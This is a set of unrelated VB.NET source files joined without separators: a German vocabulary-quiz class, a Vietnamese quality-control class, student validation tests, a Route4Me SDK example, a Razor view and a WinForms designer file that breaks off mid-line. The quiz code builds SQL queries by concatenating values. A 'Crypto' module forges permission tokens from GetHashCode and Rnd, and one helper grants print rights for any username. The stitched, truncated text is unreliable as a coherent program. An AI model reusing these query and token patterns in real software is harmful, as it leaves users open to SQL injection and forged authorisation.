Dim right As TestResult = TestResult.NoError If TestFormerLanguage Then ' testen, ob die bedeutung übereinstimmt If TestDictionaryEntry.Meaning <> input Then ' Eine Ungleichheit wurde erkannt. Spezifizieren, welche. ' prüfen, ob es die eingegebene bedeutung auch gibt ' zunächst die Sprache herausfinden ' TODO: use dao objects to get information Dim command As String = "SELECT LanguageName, MainLanguage FROM DictionaryMain WHERE [Index] =" & TestDictionaryEntry.WordIndex & ";" DBConnection.ExecuteReader(command) DBConnection.DBCursor.Read() Dim language As String = DBConnection.SecureGetString(0) Dim mainLanguage As String = DBConnection.SecureGetString(1) DBConnection.DBCursor.Close() command = "SELECT W.[Index] FROM DictionaryWords AS W, DictionaryMain AS M WHERE W.Word=" & GetDBEntry(TestDictionaryEntry.Word) & " AND W.Meaning=" & GetDBEntry(input) & " AND M.LanguageName=" & GetDBEntry(language) & " AND M.MainLanguage=" & GetDBEntry(mainLanguage) & " AND W.MainIndex=M.[Index]" DBConnection.ExecuteReader(command) If DBConnection.DBCursor.HasRows = False Then right = TestResult.Wrong Else If TestDictionaryEntry.Meaning.ToUpper = input.ToUpper Then right = TestResult.Misspelled Else right = TestResult.OtherMeaning End If DBConnection.DBCursor.Close() End If Else ' Testen ob das italienische Wort korrekt eingegeben worden ist. If input <> TestDictionaryEntry.Word Then ' Eine Ungleichheit wurde erkannt. Spezifizieren, welche. ' prüfen, ob es das eingegebene Wort auch gibt ' zunächst die Sprache herausfinden ' TODO: use dao objects to get information Dim command As String = "SELECT LanguageName, MainLanguage FROM DictionaryMain WHERE Index=" & TestDictionaryEntry.WordIndex & ";" DBConnection.ExecuteReader(command) DBConnection.DBCursor.Read() Dim language As String = DBConnection.SecureGetString(0) Dim mainLanguage As String = DBConnection.SecureGetString(1) DBConnection.DBCursor.Close() command = "SELECT W.[Index] FROM DictionaryWords AS W, DictionaryMain AS M WHERE W.Word=" & GetDBEntry(input) & " AND W.Meaning=" & GetDBEntry(TestDictionaryEntry.Meaning) & " AND M.LanguageName=" & GetDBEntry(language) & " AND M.MainLanguage=" & GetDBEntry(mainLanguage) & " AND W.MainIndex=M.[Index]" DBConnection.ExecuteReader(command) If DBConnection.DBCursor.HasRows = False Then right = TestResult.Wrong Else If TestDictionaryEntry.Word.ToUpper = input.ToUpper Then right = TestResult.Misspelled Else right = TestResult.OtherMeaning End If 'right = TestResult.Wrong End If End If ' Update des cards-systems, falls nötig If UseCards And firstTest Then Dim cards As New CardsDao(DBConnection) If right = TestResult.NoError Then cards.UpdateSuccess(TestDictionaryEntry, QueryLanguage) firstTest = False ElseIf right = TestResult.Wrong Then cards.UpdateFailure(TestDictionaryEntry, QueryLanguage) firstTest = False End If End If ' Wortlisten aktualisieren If right = TestResult.NoError And Not deleted Then ' direkt richtig beantworted DeleteWord() deleted = True ElseIf right = TestResult.Wrong And Not deleted Then ' sichern, falls nochmal abgefragt werden soll! DeleteWord(True) deleted = True Else ' hier passiert nix, es muß nochmal abgefragt werden. auf jeden fall war ja nichts falsch... End If Return right End Function Sub DeleteWord() testWords.Remove(iTestIndex) End Sub Sub DeleteWord(ByVal testAgain As Boolean) If testAgain Then nextWords.Add(iTestIndex) testWords.Remove(iTestIndex) Else DeleteWord() End If End Sub ' Einstellungen Public Property TestSetPhrases() As Boolean Get Return m_testSetPhrases End Get Set(ByVal value As Boolean) m_testSetPhrases = value End Set End Property Public Property TestFormerLanguage() As Boolean Get Return m_testFormerLanguage End Get Set(ByVal value As Boolean) m_testFormerLanguage = value End Set End Property Public Property TestStyle() As xlsTestStyle Get Return m_testStyle End Get Set(ByVal testStyle As xlsTestStyle) m_testStyle = testStyle End Set End Property ' Ausgaben für das Wort ReadOnly Property AdditionalInfo() As String Get If TestDictionaryEntry Is Nothing Then Return "" Return TestDictionaryEntry.AdditionalTargetLangInfo End Get End Property ReadOnly Property TestWord() As String Get If TestDictionaryEntry Is Nothing Then Return "" If TestFormerLanguage Then Return TestDictionaryEntry.Pre & " " & TestDictionaryEntry.Word & " " & TestDictionaryEntry.Post Else ' Ausgabe ist eine Bedeutung, es wird das dazu passende Wort gesucht Return TestDictionaryEntry.Meaning ' Nur eine Bedeutung für das Wort End If End Get End Property ReadOnly Property Answer() As String Get If TestDictionaryEntry Is Nothing Then Return "" If TestFormerLanguage Then Return TestDictionaryEntry.Meaning Else Return TestDictionaryEntry.Word End If End Get End Property ' Ausgaben für die Zähler ReadOnly Property WordCountAllTests() As Integer Get Return WordCountDone + WordCountDoneFalseAllTrys End Get End Property ReadOnly Property WordCountDone() As Integer Get Return m_iTestWordCountDone End Get End Property ReadOnly Property WordCountDoneRight() As Integer Get Return m_iTestWordCountDoneRight End Get End Property ReadOnly Property WordCountDoneFalse() As Integer Get Return m_iTestWordCountDoneFalse End Get End Property ReadOnly Property WordCountDoneFalseAllTrys() As Integer Get Return m_iTestWordCountDoneFalseAllTrys End Get End Property ' Gibt die Anzahl der noch zu prüfenden Vokabeln an, _nicht_ die tatsächlich geprüft werden. ' Verschiebungen durch das Cards-System sind möglich. ReadOnly Property WordCount() As Integer Get If testWords.Count <> 0 Then Return testWords.Count Else Return nextWords.Count End Get End Property Public Property UseCards() As Boolean Get Return m_useCards End Get Set(ByVal value As Boolean) m_useCards = value End Set End Property Public ReadOnly Property QueryLanguage As QueryLanguage Get Return m_queryLanguage End Get End Property End Class
Public Class QC_KQCV_BackendResult Public Ngay_K As DateTime Public CongDoan_K As String Public ProductCode_K As String Public LotNumber_K As String Public SoCongDoan_K As String Public SoLuongLo As Integer Public SoMay As String Public ThoiGianKiem As Integer Public SoLuongKiem As Integer Public SoLuongLoi As Integer Public TyLe As Decimal Public DanhGia As String Public NhanVienKiem As String Public PhuongPhapXuLy As String Public XacNhanBoPhanLienQuan As String Public GhiChu As String Public CreateUser As String Public CreateDate As DateTime End Class
Option Explicit On Option Strict On Imports System.Text Imports Microsoft.VisualStudio.TestTools.UnitTesting Imports s3575984_Assignment02_HRRIS.validation ' Name: TestValidation.vb ' Description: this is file to test the validation ' Author: Pham Hoang Phuc ' Date: 30/04/2017 <TestClass()> Public Class TestValidation <TestInitialize()> Public Sub setup() Debug.Print("Setting up ...") End Sub <TestCleanup()> Public Sub cleanup() Debug.Print("Cleaning up ...") End Sub <TestMethod()> Public Sub TestIsEmail() Dim oValidation As New s3575984_Assignment02_HRRIS.validation Dim sEmail = "this is email" Assert.AreEqual(False, oValidation.isEmail(sEmail)) End Sub <TestMethod()> Public Sub TestIsEmail2() Dim oValidation As New s3575984_Assignment02_HRRIS.validation Dim sEmail = "phuc@gmail.com" Assert.AreEqual(True, oValidation.isEmail(sEmail)) End Sub <TestMethod()> Public Sub TestIsAlpha() Dim oValidation As New s3575984_Assignment02_HRRIS.validation Dim sAlpha = "this is email" Assert.AreEqual(True, oValidation.isAplha(sAlpha)) End Sub <TestMethod()> Public Sub TestIsAlpha2() Dim oValidation As New s3575984_Assignment02_HRRIS.validation Dim sAlpha = "this is 3 email" Assert.AreEqual(False, oValidation.isAplha(sAlpha)) End Sub <TestMethod()> Public Sub TestisAlphaNum() Dim oValidation As New s3575984_Assignment02_HRRIS.validation Dim sAlphaNum = "this is email 232523" Assert.AreEqual(True, oValidation.isAlphaNum(sAlphaNum)) End Sub <TestMethod()> Public Sub TestisAlphaNum2() Dim oValidation As New s3575984_Assignment02_HRRIS.validation Dim sAlphaNum = " 123 this is email" Assert.AreEqual(True, oValidation.isAlphaNum(sAlphaNum)) End Sub End Class
Imports Route4MeSDKLibrary.Route4MeSDK Imports Route4MeSDKLibrary.Route4MeSDK.DataTypes Imports Route4MeSDKLibrary.Route4MeSDK.QueryTypes Namespace Route4MeSDKTest.Examples Partial Public NotInheritable Class Route4MeExamples ''' <summary> ''' Add Rectangle Territory ''' </summary> Public Sub CreateRectTerritory() ' Create the manager with the api key Dim route4Me = New Route4MeManager(ActualApiKey) Dim territoryParameters = New AvoidanceZoneParameters With { .TerritoryName = "Test Territory", .TerritoryColor = "ff0000", .Territory = New Territory With { .Type = TerritoryType.Rect.GetEnumDescription(), .Data = New String() {"43.51668853502909,-109.3798828125", "46.98025235521883,-101.865234375"} } } Dim errorString As String = Nothing Dim territory As TerritoryZone = route4Me.CreateTerritory(territoryParameters, errorString) If (If(territory?.TerritoryId, Nothing)) IsNot Nothing Then TerritoryZonesToRemove.Add(territory.TerritoryId) End If PrintExampleTerritory(territory, errorString) RemoveTestTerritoryZones() End Sub End Class End Namespace
Imports System.Windows.Forms Public Module Crypto Public Class PermissionSet Private _CanPrint As Boolean Private _CanEditLabels As Boolean Private _CanDeleteLabels As Boolean Private _IsValid As Boolean Public ReadOnly Property CanPrint() As Boolean Get Return _CanPrint End Get End Property Public ReadOnly Property CanEditLabels() As Boolean Get Return _CanEditLabels End Get End Property Public ReadOnly Property CanDeleteLabels() As Boolean Get Return _CanDeleteLabels End Get End Property Public ReadOnly Property IsValid() As Boolean Get Return _IsValid End Get End Property 'Sub New(ByVal PermissionString As String) ' Dim sp() As String = PermissionString.Split("A"c) ' Dim chk As String = Hex(Environment.UserName.GetHashCode()).Replace("A", "X") ' If sp(0).ToUpper = chk.ToUpper Then ' IsValid = True ' Dim r As String = sp(2) ' Me.CanDeleteLabels = r.IndexOf("MDZ") >= 0 ' Me.CanEditLabels = r.IndexOf("PQB") >= 0 ' Me.CanManageUsers = r.IndexOf("YCE") >= 0 ' Me.CanPrint = r.IndexOf("SGT") >= 0 ' Else ' Me.CanPrint = False ' Me.CanDeleteLabels = False ' Me.CanEditLabels = False ' Me.CanManageUsers = False ' End If 'End Sub ' Sub New(ByVal Access As Boolean, ByVal Edit As Boolean, ByVal Delete As Boolean) Me._CanPrint = Access Me._CanEditLabels = Edit Me._CanDeleteLabels = Delete Me._IsValid = True End Sub 'Overrides Function ToString() As String ' Dim uid As String = Hex(Environment.UserName.GetHashCode()).Replace("A", "X") ' uid &= "A" ' uid &= RandomString() ' uid &= "A" ' If Me.CanDeleteLabels = True Then uid &= "MDZ" ' If Me.CanEditLabels = True Then uid &= "PQB" ' If Me.CanPrint = True Then uid &= "SGT" ' uid &= "A" ' uid &= RandomString() ' Return uid.ToUpper 'End Function End Class Friend Function RandomString() As String Randomize() Dim len As Integer = CInt(Rnd() * 65 + 10) Dim i As Integer RandomString = "" For i = 1 To len Randomize() RandomString &= UCase(Chr(CInt(Rnd() * 26 + 54))) Next RandomString = RandomString.Replace("A", "X") End Function Friend Function Hash(ByVal Input As String) As String Return Hex(Input.GetHashCode * 3) End Function 'Friend Sub LogonUser() ' Try ' Dim u As New Users ' u.ReadXml(New IO.FileInfo(Application.ExecutablePath).Directory.FullName.TrimEnd("\") & "\config.xml") ' Dim auth As String = "" ' If u.users.Select("[name] = '" & (Environment.UserName.Replace("'", "''")) & "'").Length < 1 Then ' MsgBox("You do not have permission to run this application in the current context.", MsgBoxStyle.Critical, "Security Warning") ' Application.Exit() ' Else ' Dim r As Users.usersRow = u.users.Select("[name] = '" & (Environment.UserName.Replace("'", "''")) & "'")(0) ' CurrentPermissionSet = New PermissionSet(r.data) ' End If ' u.Dispose() ' Catch ' MsgBox("User authentication data is not available. Please obtain the authentication key and try again.", MsgBoxStyle.Critical, "Security Warning") ' Application.Exit() ' End Try 'End Sub Friend Function cs(ByVal username As String) As String Dim chk As String = Hex(username.GetHashCode()).Replace("A", "X") Return chk.ToUpper & "A" & RandomString() & "ASGTA" & RandomString() End Function End Module
@ModelType MvcRazorVB.UserModel @Code ViewBag.Title = "Create" Layout = "~/Views/Shared/_Layout.vbhtml" End Code <h2>Create</h2> @Using Html.BeginForm() @Html.ValidationSummary(True) @<fieldset> <legend>Fields</legend> <div class="editor-label"> @Html.LabelFor(Function(model) model.UserName) </div> <div class="editor-field"> @Html.TextBoxFor(Function(model) model.UserName) @Html.ValidationMessageFor(Function(model) model.UserName) </div> <div class="editor-label"> @Html.LabelFor(Function(model) model.FirstName) </div> <div class="editor-field"> @Html.TextBoxFor(Function(model) model.FirstName) @Html.ValidationMessageFor(Function(model) model.FirstName) </div> <div class="editor-label"> @Html.LabelFor(Function(model) model.LastName) </div> <div class="editor-field"> @Html.TextBoxFor(Function(model) model.LastName) @Html.ValidationMessageFor(Function(model) model.LastName) </div> <div class="editor-label"> @Html.LabelFor(Function(model) model.City) </div> <div class="editor-field"> @Html.TextBoxFor(Function(model) model.City) @Html.ValidationMessageFor(Function(model) model.City) </div> <p> <input type="submit" value="Create" /> </p> </fieldset> End Using <div> @Html.ActionLink("Back to List", "Index") </div>
 <Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> Partial Class FrmDataDetail Inherits DevExpress.XtraEditors.XtraForm 'Form overrides dispose to clean up the component list. <System.Diagnostics.DebuggerNonUserCode()> _ Protected Overrides Sub Dispose(ByVal disposing As Boolean) Try If disposing AndAlso components IsNot Nothing Then components.Dispose() End If Finally MyBase.Dispose(disposing) End Try End Sub 'Required by the Windows Form Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Windows Form Designer 'It can be modified using the Windows Form Designer. 'Do not modify it using the code editor. <System.Diagnostics.DebuggerStepThrough()> _ Private Sub InitializeComponent() Me.components = New System.ComponentModel.Container() Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(FrmDataDetail)) Dim DataGridViewCellStyle1 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle2 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle3 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle4 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle5 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle6 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle7 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle8 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle9 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle10 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle11 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle12 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle13 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle14 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle15 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle16 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle17 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle18 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle19 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle20 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle21 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle22 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle23 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle24 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle25 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle26 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle27 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle28 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle29 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle30 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle31 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle32 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle33 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle34 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle35 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle36 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle37 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle38 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle39 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle40 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle41 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Dim DataGridViewCellStyle42 As System.Windows.Forms.DataGridViewCellStyle = New System.Windows.Forms.DataGridViewCellStyle() Me.tlsMenu = New System.Windows.Forms.ToolStrip() Me.mnuShowAll = New System.Windows.Forms.ToolStripButton() Me.mnuExport = New System.Windows.Forms.ToolStripButton() Me.mnuChart = New System.Windows.Forms.ToolStripButton() Me.mnuImprt = New System.Windows.Forms.ToolStripButton() Me.mnuSave = New System.Windows.Forms.ToolStripButton() Me.ToolStripSeparator1 = New System.Windows.Forms.ToolStripSeparator() Me.mnuDelete = New System.Windows.Forms.ToolStripButton() Me.mnuEdit = New System.Windows.Forms.ToolStripButton() Me.ToolStripSeparator2 = New System.Windows.Forms.ToolStripSeparator() Me.bdn = New System.Windows.Forms.BindingNavigator(Me.components) Me.BindingNavigatorCountItem = New System.Windows.Forms.ToolStripLabel() Me.BindingNavigatorMoveFirstItem = New System.Windows.Forms.ToolStripButton() Me.BindingNavigatorMovePreviousItem = New System.Windows.Forms.ToolStripButton() Me.BindingNavigatorSeparator = New System.Windows.Forms.ToolStripSeparator() Me.BindingNavigatorPositionItem = New System.Windows.Forms.ToolStripTextBox() Me.BindingNavigatorSeparator1 = New System.Windows.Forms.ToolStripSeparator() Me.BindingNavigatorMoveNextItem = New System.Windows.Forms.ToolStripButton() Me.BindingNavigatorMoveLastItem = New System.Windows.Forms.ToolStripButton() Me.BindingNavigatorSeparator2 = New System.Windows.Forms.ToolStripSeparator() Me.grid = New System.Windows.Forms.DataGridView() Me.Item = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D1 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D2 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D3 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D4 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D5 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D6 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D7 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D8 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D9 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D10 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D11 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D12 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D13 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D14 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D15 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D16 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D17 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D18 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D19 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D20 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D21 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D22 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D23 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D24 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D25 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D26 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D27 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D28 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D29 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D30 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D31 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.D32 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.AVG = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.Min = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.Max = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.STDEV = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.KetQua = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.Spec = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.UTL = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.LTL = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.USL = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.LSL = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.UTLMC = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.LTLMC = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.UMC = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.LMC = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DanhGiaMC = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.CPK = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.CPM = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.CPKD = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.CPMD = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.Label1 = New System.Windows.Forms.Label() Me.txtLotNo = New System.Windows.Forms.TextBox() Me.Label2 = New System.Windows.Forms.Label() Me.txtMSNV = New System.Windows.Forms.TextBox() Me.Label3 = New System.Windows.Forms.Label() Me.Label4 = New System.Windows.Forms.Label() Me.Label5 = New System.Windows.Forms.Label() Me.Label6 = New System.Windows.Forms.Label() Me.Label7 = New System.Windows.Forms.Label() Me.txtMaPhim = New System.Windows.Forms.TextBox() Me.txtApLuc = New System.Windows.Forms.TextBox() Me.txtMayRoiSang = New System.Windows.Forms.TextBox() Me.Label8 = New System.Windows.Forms.Label() Me.txtQuanLuong = New System.Windows.Forms.TextBox() Me.Label9 = New System.Windows.Forms.Label() Me.txtTocDo = New System.Windows.Forms.TextBox() Me.Label10 = New System.Windows.Forms.Label() Me.Label11 = New System.Windows.Forms.Label() Me.txtDanhGiaSauCung = New System.Windows.Forms.TextBox() Me.txtNoiDungKhongDat = New System.Windows.Forms.TextBox() Me.Label14 = New System.Windows.Forms.Label() Me.txtSoLanTest = New System.Windows.Forms.TextBox() Me.Label15 = New System.Windows.Forms.Label() Me.dtpNgayDo = New System.Windows.Forms.DateTimePicker() Me.dtpTGStart = New System.Windows.Forms.DateTimePicker() Me.dtpTGEnd = New System.Windows.Forms.DateTimePicker() Me.Label12 = New System.Windows.Forms.Label() Me.txtCustomer = New System.Windows.Forms.TextBox() Me.Label13 = New System.Windows.Forms.Label() Me.txtPdCode = New System.Windows.Forms.TextBox() Me.Label16 = New System.Windows.Forms.Label() Me.Label17 = New System.Windows.Forms.Label() Me.cboMayDo = New System.Windows.Forms.ComboBox() Me.cboProcess = New System.Windows.Forms.ComboBox() Me.txtSoMau = New System.Windows.Forms.TextBox() Me.Label18 = New System.Windows.Forms.Label() Me.txtMethod = New System.Windows.Forms.TextBox() Me.DataGridViewAutoFilterTextBoxColumn1 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn2 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn3 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn4 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn5 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn6 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn7 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn8 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn9 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn10 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn11 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn12 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn13 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn14 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn15 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn16 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn17 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn18 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn19 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn20 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn21 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn22 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn23 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn24 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn25 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn26 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn27 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn28 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn29 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn30 = New DataGridViewAutoFilter.DataGridViewAutoFilterTextBoxColumn() Me.DataGridViewAutoFilterTextBoxColumn31 = New 